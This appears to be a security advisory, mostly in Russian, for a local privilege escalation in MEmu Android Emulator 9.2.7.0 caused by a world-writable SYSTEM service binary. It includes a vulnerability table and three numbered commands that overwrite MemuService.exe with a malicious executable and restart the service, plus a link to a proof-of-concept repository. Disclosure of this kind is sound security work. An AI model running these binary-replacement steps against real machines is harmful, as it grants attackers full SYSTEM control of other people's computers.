sec-zone/cve-2026-36213CVE-2026-36213 | Local Privilege Escalation in MEmu Android Emulator 9.2.7.0 via Insecure Service Binary Permissions | Patched in 9.3.2
CVE-2026-36213 | Повышение локальных привилегий в MEmu Android Emulator 9.2.7.0 через небезопасные разрешения двоичного файла службы | Исправлено в 9.3.2
Уязвимость повышения локальных привилегий (LPE) в MEmu Android Emulator 9.2.7.0.
Служба MEmuSVC работает от имени NT AUTHORITY\SYSTEM, при этом её двоичный файл доступен для записи любому локальному пользователю, что позволяет полностью скомпрометировать систему.
| Поле | Детали |
|---|---|
| CVE | CVE-2026-36213 |
| Продукт | MEmu Android Emulator (MicroVirt) |
| Затрагиваемая версия | 9.2.7.0 и более ранние |
| Исправленная версия | 9.3.2 |
| CWE | CWE-732 / CWE-269 |
| CVSS v3.1 | 7.8 HIGH AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| ATT&CK | T1574.010 |
MEmuService.exe установлен как системная служба Windows с небезопасными разрешениями NTFS:
icacls "C:\Program Files\Microvirt\MEmu\MemuService.exe"
BUILTIN\Users:(F) ← Любой локальный пользователь имеет полный доступ
Everyone:(F) ← Двоичный файл доступен для записи всем
:: Шаг 1 - Проверка уязвимых разрешений
icacls "C:\Program Files\Microvirt\MEmu\MemuService.exe"
:: Шаг 2 - Замена двоичного файла (от имени непривилегированного пользователя)
copy malicious.exe "C:\Program Files\Microvirt\MEmu\MemuService.exe" /Y
:: Шаг 3 - Перезапуск службы
sc stop MEmuSVC && sc start MEmuSVC
:: Результат: malicious.exe запускается от имени NT AUTHORITY\SYSTEM
Доступен по адресу: https://github.com/sec-zone/Hijack-service-binaries
Данное исследование проведено в образовательных целях в рамках политики ответственного раскрытия информации.
Автор не несёт ответственности за любое неправомерное использование этой информации.
Имя: Mohammad Hossein Ashofte Yazdi
Linkedin: https://www.linkedin.com/in/seczone64
Twitter: @sec_zone64
Электронная почта: [email protected]